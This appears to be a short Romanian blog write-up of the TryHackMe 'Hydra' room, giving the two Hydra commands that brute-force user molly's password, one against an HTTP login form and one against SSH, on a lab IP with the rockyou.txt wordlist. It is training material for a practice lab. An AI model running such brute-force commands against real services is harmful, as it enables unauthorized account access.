Brute-forcing parole cu Hydra

  • mai puțin de 1 minute de citit
  • 2 exemple de cod

Disponibil și în English

Pe această pagină

Salut,

În acest articol găsești soluțiile pentru camera Hydra de pe Try Hack Me.

Link:

Aproape fiecare sarcină de brute-forcing sau cracking de pe HackTheBox/TryHackMe folosește lista de cuvinte rockyou.txt. O poți căuta pe Google și descărca, sau o găsești în distribuția ta Kali pe calea /usr/share/wordlists/rockyou.txt.gz

Dacă folosești Kali, Hydra este deja instalat, trebuie doar să rulezi două comenzi:

Flag 1

Rulează următoarea comandă, parola ar trebui să fie crăpată în mai puțin de un minut.

root@kali:~/Desktop# hydra -l molly -P rockyou.txt 10.10.86.187 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V

Flag 2

Pornește brute-forcing-ul parolei SSH, apoi autentifică-te prin ssh ca molly pentru a obține flag-ul.

root@kali:~/Desktop# hydra -l molly -P rockyou.txt 10.10.86.187 -t 4 ssh

Mulțumesc pentru lectură!